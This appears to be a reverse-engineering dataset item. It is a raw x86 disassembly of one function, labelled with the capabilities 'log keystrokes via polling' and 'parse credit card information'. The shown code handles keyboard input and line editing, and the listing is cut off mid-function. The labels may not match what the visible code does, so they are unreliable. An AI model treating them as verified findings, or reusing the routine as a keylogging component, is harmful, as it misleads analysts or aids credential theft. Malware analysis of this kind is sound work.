Function at 0x42bc50
Capabilities:
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x80], 0
mov byte [ebp - 0x49], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
cmp eax, dword [0x7057c0]
jne 0x42bd5b
cmp dword [ebp + 0xc], 0
jne 0x42bdaa
mov dword [0x7057b0], 0
mov dword [0x7057b4], 0
mov dword [0x7057b8], 0
mov dword [0x7057bc], 0
mov ecx, dword [ebp + 0xc]
mov dword [0x7057c0], ecx
mov dword [0x7057c8], 0
mov dword [ebp - 0x74], 0
cmp dword [ebp + 0xc], 0
jne 0x42bdaa
xor eax, eax
jmp 0x42f9f5
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x80]
push eax
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004011bd
add esp, 0x14
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402595
add esp, 4
mov byte [ebp - 0x49], al
mov eax, dword [ebp + 0xc]
push eax
call fcn.004021df
add esp, 4
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040159b
add esp, 0x28
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401a37
add esp, 4
mov dword [ebp - 0x70], eax
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040210d
add esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
and eax, 2
jne 0x42be4f
mov ecx, dword [ebp - 0x2c]
and ecx, 4
jne 0x42be4f
mov edx, dword [ebp - 0x2c]
and edx, 8
jne 0x42be4f
mov eax, dword [ebp - 0x2c]
and eax, 0x40
je 0x42be58
mov dword [ebp - 0x64], 1
jmp 0x42be5f
mov dword [ebp - 0x64], 0
mov ecx, dword [ebp - 0x2c]
and ecx, 0x20
je 0x42be70
mov dword [ebp - 0x40], 1
jmp 0x42be77
mov dword [ebp - 0x40], 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040114a
add esp, 4
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.0042fac0
add esp, 8
cmp dword [0x7057c8], 0
je 0x42bebf
mov ecx, dword [ebp + 8]
push ecx
call fcn.00402158
add esp, 4
mov dword [0x7057c8], 0
mov eax, 0x77
jmp 0x42f9f5
cmp dword [0x7057c4], 0
je 0x42bf01
cmp dword [0x64e39c], 0
jl 0x42bf01
cmp dword [0x64e3a0], 0
jle 0x42bf01
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401438
add esp, 4
cmp dword [0x64e39c], eax
jne 0x42bf01
mov eax, dword [0x64e3a0]
cmp eax, dword [ebp - 0x18]
jne 0x42bf01
mov dword [ebp - 0x74], 1
jmp 0x42bf08
mov dword [ebp - 0x74], 0
cmp dword [ebp + 8], 0
je 0x42bf1a
cmp dword [ebp - 0x80], 0
je 0x42bf1a
cmp dword [ebp - 0x10], 0
jne 0x42bf21
xor eax, eax
jmp 0x42f9f5
cmp dword [ebp - 0x74], 0
jne 0x42bf67
mov dword [0x7057c4], 0
mov dword [0x64e39c], 0xffffffff
mov dword [0x64e3a0], 0xffffffff
push 0x705710
call fcn.0040259a
add esp, 4
test eax, eax
jne 0x42bf67
push 0x50
push 0
push 0x705710
call fcn.005b02a0
add esp, 0xc
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0x14]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x10]
add eax, 1
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.005b02a0
add esp, 0xc
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x3c], 0
cmp dword [ebp - 0x74], 0
je 0x42c2d7
mov dword [ebp - 0x30], 0
jmp 0x42bfb9
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax + 0x705710]
test ecx, ecx
je 0x42bff6
mov edx, dword [ebp - 0x30]
cmp edx, dword [0x64e3a0]
jge 0x42bff6
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x10]
jge 0x42bff6
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x30]
mov al, byte [edx + 0x705710]
mov byte [ecx], al
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
jmp 0x42bfb0
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xffffff22
mov dword [ebp - 0x98], 1
cmp dword [ebp - 0x98], 0xffffffff
je 0x42c036
cmp dword [ebp - 0x98], 4
jne 0x42c04d
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x90], ecx
jmp 0x42c1ce
cmp dword [ebp - 0x98], 0
jne 0x42c0f2
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x5c]
jne 0x42c070
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x8c], eax
jmp 0x42c0ed
push 0
lea ecx, [ebp - 0x90]
push ecx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42c0c1
mov edx, dword [ebp - 0x90]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
jmp 0x42c0ed
mov edx, dword [ebp - 0x90]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x90], ecx
jne 0x42c0ed
mov dword [ebp - 0x90], 0xffffff22
jmp 0x42c1ce
cmp dword [ebp - 0x98], 2
jne 0x42c182
push 0
lea edx, [ebp - 0x90]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x90], eax
jg 0x42c143
cmp dword [ebp - 0x8c], 0
jg 0x42c154
mov edx, dword [ebp - 0x90]
sub edx, 1
mov dword [ebp - 0x90], edx
jmp 0x42c168
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x90], edx
jne 0x42c180
mov dword [ebp - 0x90], 0xffffff22
jmp 0x42c1ce
cmp dword [ebp - 0x98], 3
jne 0x42c1c2
push 0
lea eax, [ebp - 0x90]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x90], edx
jne 0x42c1c0
mov dword [ebp - 0x90], 0xffffff22
jmp 0x42c1ce
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x42c1e1
mov dword [ebp - 0x8c], 0
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0x94]
cmp edx, dword [ebp - 0x5c]
jle 0x42c204
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x98], 4
jne 0x42c241
mov eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x8c]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42c286
cmp dword [ebp - 0x98], 2
jne 0x42c256
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x194], edx
jmp 0x42c260
mov dword [ebp - 0x194], 0
mov al, byte [ebp - 0x194]
push eax
mov ecx, dword [ebp - 0x94]
sub ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x8c]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x90], 0xffffff22
je 0x42c2a8
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x90]
push ecx
call fcn.00401096
add esp, 8
mov dword [0x7057c4], 0
mov dword [0x64e39c], 0xffffffff
mov dword [0x64e3a0], 0xffffffff
push 0x50
push 0
push 0x705710
call fcn.005b02a0
add esp, 0xc
mov dword [ebp - 0x44], 0
call fcn.0040323d
mov dword [ebp - 0x48], eax
cmp dword [0x62a1f4], 0
je 0x42f9e7
call fcn.004018c5
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x42efda
call fcn.0040323d
mov dword [ebp - 0x48], eax
call fcn.00401b4a
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x1b
jne 0x42c352
mov edx, dword [ebp + 8]
push edx
call fcn.00402158
add esp, 4
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x3c], 0
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402bc6
add esp, 8
mov eax, 0x1b
jmp 0x42f9f5
cmp dword [ebp - 0x7c], 0xd
je 0x42c362
cmp dword [ebp - 0x7c], 0xa
jne 0x42c519
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
cmp dword [ebp - 0x40], 0
je 0x42c391
cmp dword [ebp - 0x5c], 0
jne 0x42c391
cmp dword [ebp - 0x44], 0
jne 0x42c391
cmp dword [ebp - 4], 0
je 0x42c391
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.0042fac0
add esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.0040259a
add esp, 4
test eax, eax
jne 0x42c405
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401389
add esp, 4
test eax, eax
je 0x42c405
push 0
push 0xffffffffffffffff
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402572
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00402158
add esp, 4
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004026da
add esp, 4
mov dword [ebp - 0x7c], 0
push 0
push 0
mov edx, dword [ebp - 8]
push edx
push 2
call fcn.0042fb20
add esp, 0x10
jmp 0x42efd0
mov eax, dword [ebp + 8]
push eax
call fcn.0040259a
add esp, 4
test eax, eax
je 0x42c4ec
call fcn.0040323d
sub eax, dword [0x7057b0]
cmp eax, 0x190
jae 0x42c4d6
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
lea ecx, [ebp - 0x9c]
push ecx
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402c75
add esp, 0xc
call fcn.0040323d
mov dword [0x7057b0], eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402b35
add esp, 8
test eax, eax
je 0x42c4c5
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401a73
add esp, 4
cmp eax, 3
jl 0x42c4c5
cmp dword [ebp - 0xa0], 0
jne 0x42c49c
cmp dword [ebp - 0x9c], 0
je 0x42c4c5
cmp dword [0x7057b4], 2
jl 0x42c4c3
mov dword [ebp - 0x7c], 0
push 0
push 0
mov eax, dword [ebp - 0x50]
push eax
push 1
call fcn.0042fb20
add esp, 0x10
jmp 0x42efd0
jmp 0x42c4d4
mov ecx, dword [0x7057b4]
add ecx, 1
mov dword [0x7057b4], ecx
jmp 0x42c4ea
call fcn.0040323d
mov dword [0x7057b0], eax
mov dword [0x7057b4], 0
jmp 0x42c50a
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
imul eax, eax, 0x25
cmp edx, eax
jae 0x42c50a
push 1
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0042fac0
add esp, 8
mov eax, 0xd
jmp 0x42f9f5
cmp dword [ebp - 0x7c], 8
jne 0x42c88c
cmp dword [ebp - 0x3c], 0
jle 0x42c887
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
je 0x42c579
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x54], 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402658
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.004026da
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42c887
cmp dword [ebp - 0x3c], 0
jle 0x42c887
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
push 2
call fcn.0042fb20
add esp, 0x10
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00402455
add esp, 8
mov edx, dword [ebp - 0x5c]
sub edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xffffff22
mov dword [ebp - 0xb0], 2
cmp dword [ebp - 0xb0], 0xffffffff
je 0x42c615
cmp dword [ebp - 0xb0], 4
jne 0x42c62c
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xa8], edx
jmp 0x42c7ad
cmp dword [ebp - 0xb0], 0
jne 0x42c6d1
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42c64f
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xa4], ecx
jmp 0x42c6cc
push 0
lea edx, [ebp - 0xa8]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42c6a0
mov edx, dword [ebp - 0xa8]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa8]
add ecx, 1
mov dword [ebp - 0xa8], ecx
jmp 0x42c6cc
mov edx, dword [ebp - 0xa8]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xa8], ecx
jne 0x42c6cc
mov dword [ebp - 0xa8], 0xffffff22
jmp 0x42c7ad
cmp dword [ebp - 0xb0], 2
jne 0x42c761
push 0
lea edx, [ebp - 0xa8]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0xa8]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0xa8], eax
jg 0x42c722
cmp dword [ebp - 0xa4], 0
jg 0x42c733
mov edx, dword [ebp - 0xa8]
sub edx, 1
mov dword [ebp - 0xa8], edx
jmp 0x42c747
mov eax, dword [ebp - 0xa8]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xa8], edx
jne 0x42c75f
mov dword [ebp - 0xa8], 0xffffff22
jmp 0x42c7ad
cmp dword [ebp - 0xb0], 3
jne 0x42c7a1
push 0
lea eax, [ebp - 0xa8]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xa8], edx
jne 0x42c79f
mov dword [ebp - 0xa8], 0xffffff22
jmp 0x42c7ad
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jge 0x42c7c0
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
cmp edx, dword [ebp - 0x5c]
jle 0x42c7e3
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0xb0], 4
jne 0x42c820
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xa4]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42c865
cmp dword [ebp - 0xb0], 2
jne 0x42c835
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x198], edx
jmp 0x42c83f
mov dword [ebp - 0x198], 0
mov al, byte [ebp - 0x198]
push eax
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0xa4]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xa4]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0xa8], 0xffffff22
je 0x42c887
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42efc9
cmp dword [ebp - 0x7c], 0xe0
jne 0x42e444
call fcn.00401b4a
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x19c]
sub eax, 0x47
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x3f
ja case.0x42c8d3.3
mov ecx, dword [ebp - 0x19c]
movzx edx, byte [ecx + 0x42fa28]
jmp dword [edx*4 + 0x42f9fc]
cmp dword [ebp - 0x3c], 0
jl 0x42cc5c
cmp dword [ebp - 0x5c], 0
jle 0x42cc5c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401cad
add esp, 4
test eax, eax
je 0x42c93a
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x54], 0
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402658
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004026da
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42cc5c
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jge 0x42cc5c
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x28]
push eax
push 2
call fcn.0042fb20
add esp, 0x10
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402455
add esp, 8
mov eax, dword [ebp - 0x5c]
sub eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x5c]
jl 0x42c9a9
cmp dword [ebp - 0x3c], 0
jle 0x42c9a9
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xffffff22
mov dword [ebp - 0xc0], 2
cmp dword [ebp - 0xc0], 0xffffffff
je 0x42c9e3
cmp dword [ebp - 0xc0], 4
jne 0x42c9fa
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xb8], edx
jmp 0x42cb7b
cmp dword [ebp - 0xc0], 0
jne 0x42ca9f
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42ca1d
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
jmp 0x42ca9a
push 0
lea edx, [ebp - 0xb8]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42ca6e
mov edx, dword [ebp - 0xb8]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb8]
add ecx, 1
mov dword [ebp - 0xb8], ecx
jmp 0x42ca9a
mov edx, dword [ebp - 0xb8]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xb8], ecx
jne 0x42ca9a
mov dword [ebp - 0xb8], 0xffffff22
jmp 0x42cb7b
cmp dword [ebp - 0xc0], 2
jne 0x42cb2f
push 0
lea edx, [ebp - 0xb8]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0xb8]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xb4], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0xb8], eax
jg 0x42caf0
cmp dword [ebp - 0xb4], 0
jg 0x42cb01
mov edx, dword [ebp - 0xb8]
sub edx, 1
mov dword [ebp - 0xb8], edx
jmp 0x42cb15
mov eax, dword [ebp - 0xb8]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xb8], edx
jne 0x42cb2d
mov dword [ebp - 0xb8], 0xffffff22
jmp 0x42cb7b
cmp dword [ebp - 0xc0], 3
jne 0x42cb6f
push 0
lea eax, [ebp - 0xb8]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xb8], edx
jne 0x42cb6d
mov dword [ebp - 0xb8], 0xffffff22
jmp 0x42cb7b
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jge 0x42cb8e
mov dword [ebp - 0xb4], 0
mov ecx, dword [ebp - 0xb4]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0xbc]
cmp edx, dword [ebp - 0x5c]
jle 0x42cbb1
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0xc0], 4
jne 0x42cbee
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xb4]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xb4]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42cc33
cmp dword [ebp - 0xc0], 2
jne 0x42cc03
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1a0], edx
jmp 0x42cc0d
mov dword [ebp - 0x1a0], 0
mov al, byte [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0xbc]
sub ecx, dword [ebp - 0xb4]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xb4]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0xb8], 0xffffff22
je 0x42cc55
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.00401096
add esp, 8
mov dword [ebp - 0x7c], 0
jmp 0x42e425
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.004029a5
add esp, 8
test eax, eax
je 0x42cd19
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401695
add esp, 4
test eax, eax
jne 0x42cd19
cmp dword [ebp - 0x5c], 0
jne 0x42cd01
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
mov edx, dword [ebp + 8]
push edx
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42cce7
cmp dword [ebp + 0xc], 0
je 0x42cce7
mov dword [0x7057c4], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401438
add esp, 4
mov dword [0x64e39c], eax
mov ecx, dword [ebp - 0x18]
mov dword [0x64e3a0], ecx
push 0x50
mov edx, dword [ebp + 8]
push edx
push 0x705710
call fcn.00402725
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402bc6
add esp, 8
mov eax, 0x26
jmp 0x42f9f5
push 0
push 0x64e3a4
call fcn.00401613
add esp, 8
mov dword [ebp - 0x7c], 0
jmp 0x42cd22
mov ecx, dword [ebp - 0x78]
sub ecx, 1
mov dword [ebp - 0x78], ecx
jmp 0x42e425
push 0xffffffffffffffff
mov edx, dword [ebp + 0xc]
push edx
call fcn.004029a5
add esp, 8
test eax, eax
je 0x42cddf
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401695
add esp, 4
test eax, eax
jne 0x42cddf
cmp dword [ebp - 0x5c], 0
jne 0x42cdc7
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
mov edx, dword [ebp + 8]
push edx
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42cdad
cmp dword [ebp + 0xc], 0
je 0x42cdad
mov dword [0x7057c4], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401438
add esp, 4
mov dword [0x64e39c], eax
mov ecx, dword [ebp - 0x18]
mov dword [0x64e3a0], ecx
push 0x50
mov edx, dword [ebp + 8]
push edx
push 0x705710
call fcn.00402725
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402bc6
add esp, 8
mov eax, 0x28
jmp 0x42f9f5
push 0
push 0x64e3b4
call fcn.00401613
add esp, 8
mov dword [ebp - 0x7c], 0
jmp 0x42cde8
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
jmp 0x42e425
cmp dword [ebp - 0x5c], 0
jne 0x42ce17
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040228e
add esp, 4
test eax, eax
je 0x42ce17
cmp dword [ebp - 0x54], 0
jle 0x42ce17
